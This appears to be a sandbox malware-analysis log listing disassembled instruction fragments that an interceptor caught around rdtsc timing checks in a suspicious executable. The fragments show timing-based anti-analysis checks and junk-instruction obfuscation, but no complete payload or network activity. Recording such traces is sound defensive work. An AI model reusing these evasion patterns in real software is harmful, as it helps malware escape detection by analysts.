Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270063 second address: 5270092 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE143291Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F7BE1432920h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov esi, 10E1A34Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270092 second address: 52700D5 instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 sub esp, 2Ch 0x0000000b jmp 00007F7BE163C2C0h 0x00000010 xchg eax, ebx 0x00000011 jmp 00007F7BE163C2C0h 0x00000016 push eax 0x00000017 jmp 00007F7BE163C2BBh 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 movsx edi, cx 0x00000023 movzx eax, dx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52700D5 second address: 5270112 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE1432926h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007F7BE1432920h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7BE143291Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270112 second address: 5270116 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270116 second address: 527011C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 527011C second address: 5270138 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 movsx edi, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7BE163C2BDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 527015B second address: 52701A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE1432921h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007F7BE1432927h 0x00000010 sub edi, edi 0x00000012 pushad 0x00000013 jmp 00007F7BE1432925h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52701A5 second address: 527023A instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F7BE163C2BCh 0x00000008 sub ah, 00000068h 0x0000000b jmp 00007F7BE163C2BBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 inc ebx 0x00000015 pushad 0x00000016 mov cx, 827Bh 0x0000001a push ecx 0x0000001b pushfd 0x0000001c jmp 00007F7BE163C2C7h 0x00000021 adc ecx, 6C17815Eh 0x00000027 jmp 00007F7BE163C2C9h 0x0000002c popfd 0x0000002d pop esi 0x0000002e popad 0x0000002f test al, al 0x00000031 jmp 00007F7BE163C2C7h 0x00000036 je 00007F7BE163C48Fh 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F7BE163C2C0h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 527023A second address: 5270249 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE143291Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270249 second address: 527024F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 527024F second address: 5270253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270253 second address: 5270257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270257 second address: 52702A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ecx, dword ptr [ebp-14h] 0x0000000b jmp 00007F7BE1432927h 0x00000010 mov dword ptr [ebp-14h], edi 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F7BE1432924h 0x0000001a and si, 6C78h 0x0000001f jmp 00007F7BE143291Bh 0x00000024 popfd 0x00000025 push eax 0x00000026 push edx 0x00000027 push ecx 0x00000028 pop edi 0x00000029 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52702D5 second address: 52702ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BE163C2C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52702ED second address: 52702F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 527031F second address: 5270342 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jmp 00007F7BE163C2C3h 0x0000000c popad 0x0000000d test eax, eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270342 second address: 5270346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270346 second address: 527034C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 527034C second address: 5270361 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F7C51C60A4Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270361 second address: 5270374 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270374 second address: 527037A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 527037A second address: 527037E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 527037E second address: 52703A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F7BE1432989h 0x0000000e pushad 0x0000000f pushad 0x00000010 mov di, 93CEh 0x00000014 push edx 0x00000015 pop esi 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 call 00007F7BE1432921h 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52703A9 second address: 5270419 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 cmp dword ptr [ebp-14h], edi 0x0000000a pushad 0x0000000b mov si, bx 0x0000000e mov di, 7448h 0x00000012 popad 0x00000013 jne 00007F7C51E6A395h 0x00000019 pushad 0x0000001a push edx 0x0000001b call 00007F7BE163C2C8h 0x00000020 pop ecx 0x00000021 pop ebx 0x00000022 pushfd 0x00000023 jmp 00007F7BE163C2C0h 0x00000028 and al, FFFFFFD8h 0x0000002b jmp 00007F7BE163C2BBh 0x00000030 popfd 0x00000031 popad 0x00000032 mov ebx, dword ptr [ebp+08h] 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F7BE163C2C5h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270419 second address: 52704B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F7BE1432927h 0x00000008 pop eax 0x00000009 mov dx, B3ACh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 lea eax, dword ptr [ebp-2Ch] 0x00000013 pushad 0x00000014 mov cx, di 0x00000017 push edi 0x00000018 jmp 00007F7BE1432928h 0x0000001d pop esi 0x0000001e popad 0x0000001f push ebx 0x00000020 jmp 00007F7BE143291Eh 0x00000025 mov dword ptr [esp], esi 0x00000028 pushad 0x00000029 call 00007F7BE143291Eh 0x0000002e mov ax, 4CB1h 0x00000032 pop ecx 0x00000033 mov bl, A5h 0x00000035 popad 0x00000036 nop 0x00000037 pushad 0x00000038 movzx eax, di 0x0000003b movsx edi, ax 0x0000003e popad 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 call 00007F7BE1432924h 0x00000048 pop ecx 0x00000049 jmp 00007F7BE143291Bh 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52704B4 second address: 52704BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52704BA second address: 5270518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F7BE1432927h 0x0000000e xchg eax, ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F7BE143291Bh 0x00000018 sub cl, FFFFFF8Eh 0x0000001b jmp 00007F7BE1432929h 0x00000020 popfd 0x00000021 jmp 00007F7BE1432920h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270518 second address: 527052A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BE163C2BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 527052A second address: 5270542 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE143291Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov si, dx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270542 second address: 527055E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ecx, ebx 0x00000008 popad 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop edi 0x0000000f jmp 00007F7BE163C2BCh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 527055E second address: 5270564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270564 second address: 5270568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 52705F3 second address: 5260E40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, C83Ah 0x00000007 call 00007F7BE143291Bh 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007F7C51C60962h 0x00000016 xor eax, eax 0x00000018 jmp 00007F7BE140C04Ah 0x0000001d pop esi 0x0000001e pop edi 0x0000001f pop ebx 0x00000020 leave 0x00000021 retn 0004h 0x00000024 nop 0x00000025 sub esp, 04h 0x00000028 mov esi, eax 0x0000002a xor ebx, ebx 0x0000002c cmp esi, 00000000h 0x0000002f je 00007F7BE1432A55h 0x00000035 call 00007F7BE594F794h 0x0000003a mov edi, edi 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5260E40 second address: 5260E44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5260E44 second address: 5260E5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE1432926h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5260E5E second address: 5260EAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7BE163C2C1h 0x00000009 sub si, CFF6h 0x0000000e jmp 00007F7BE163C2C1h 0x00000013 popfd 0x00000014 mov cx, 84E7h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F7BE163C2C9h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5260EAD second address: 5260ED4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 0350C292h 0x00000008 mov esi, edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F7BE1432924h 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5260ED4 second address: 5260F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 call 00007F7BE163C2C9h 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d popad 0x0000000e mov ebp, esp 0x00000010 jmp 00007F7BE163C2BDh 0x00000015 xchg eax, ecx 0x00000016 pushad 0x00000017 jmp 00007F7BE163C2BCh 0x0000001c mov esi, 7FC59F81h 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007F7BE163C2C7h 0x00000028 xchg eax, ecx 0x00000029 jmp 00007F7BE163C2C6h 0x0000002e mov dword ptr [ebp-04h], 55534552h 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F7BE163C2C7h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270AA7 second address: 5270AE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F7BE143291Dh 0x0000000b sub cx, BDF6h 0x00000010 jmp 00007F7BE1432921h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F7BE143291Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270AE4 second address: 5270AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270AEA second address: 5270AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270AEE second address: 5270B53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ebx, ecx 0x0000000c pushfd 0x0000000d jmp 00007F7BE163C2C0h 0x00000012 sbb si, F178h 0x00000017 jmp 00007F7BE163C2BBh 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f jmp 00007F7BE163C2C6h 0x00000024 mov ebp, esp 0x00000026 jmp 00007F7BE163C2C0h 0x0000002b cmp dword ptr [75AF459Ch], 05h 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270B53 second address: 5270B57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270B57 second address: 5270B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270B5D second address: 5270B63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270B63 second address: 5270B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270B67 second address: 5270B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F7C51C507A6h 0x0000000e jmp 00007F7BE143291Ah 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270B86 second address: 5270BA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270BA3 second address: 5270BA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270BD6 second address: 5270BDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270BDB second address: 5270BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, di 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a call 00007F7BE1432919h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movzx eax, bx 0x00000015 mov bl, 87h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270BF7 second address: 5270CAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F7BE163C2C7h 0x00000010 call 00007F7BE163C2C8h 0x00000015 pop esi 0x00000016 pop ebx 0x00000017 mov ah, 07h 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F7BE163C2C8h 0x00000025 add al, FFFFFFA8h 0x00000028 jmp 00007F7BE163C2BBh 0x0000002d popfd 0x0000002e pushfd 0x0000002f jmp 00007F7BE163C2C8h 0x00000034 or ecx, 7B94EE08h 0x0000003a jmp 00007F7BE163C2BBh 0x0000003f popfd 0x00000040 popad 0x00000041 mov eax, dword ptr [eax] 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270CAB second address: 5270CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270CAF second address: 5270CC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270CC1 second address: 5270CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270CC7 second address: 5270CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270CCB second address: 5270CF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d mov ax, 2975h 0x00000011 mov edi, esi 0x00000013 popad 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F7BE1432923h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270CF5 second address: 5270CFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270CFB second address: 5270CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270D58 second address: 5270D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270D5C second address: 5270D60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5270D60 second address: 5270D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280A3E second address: 5280A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280A42 second address: 5280A46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280A46 second address: 5280A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280A4C second address: 5280A9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, ecx 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F7BE163C2C8h 0x00000011 push eax 0x00000012 jmp 00007F7BE163C2BBh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 pushad 0x0000001a jmp 00007F7BE163C2C2h 0x0000001f mov dx, si 0x00000022 popad 0x00000023 mov ebx, esi 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 push esi 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280A9E second address: 5280ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F7BE1432920h 0x0000000a popad 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280ABB second address: 5280ABF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280ABF second address: 5280AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280AC5 second address: 5280ACB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280ACB second address: 5280ACF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280ACF second address: 5280B00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b mov cl, bl 0x0000000d mov bx, si 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F7BE163C2BCh 0x00000019 add si, DCD8h 0x0000001e jmp 00007F7BE163C2BBh 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280B00 second address: 5280B2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, esi 0x00000008 jmp 00007F7BE1432924h 0x0000000d mov esi, dword ptr [ebp+0Ch] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7BE143291Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280B2D second address: 5280B3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280B3C second address: 5280B42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
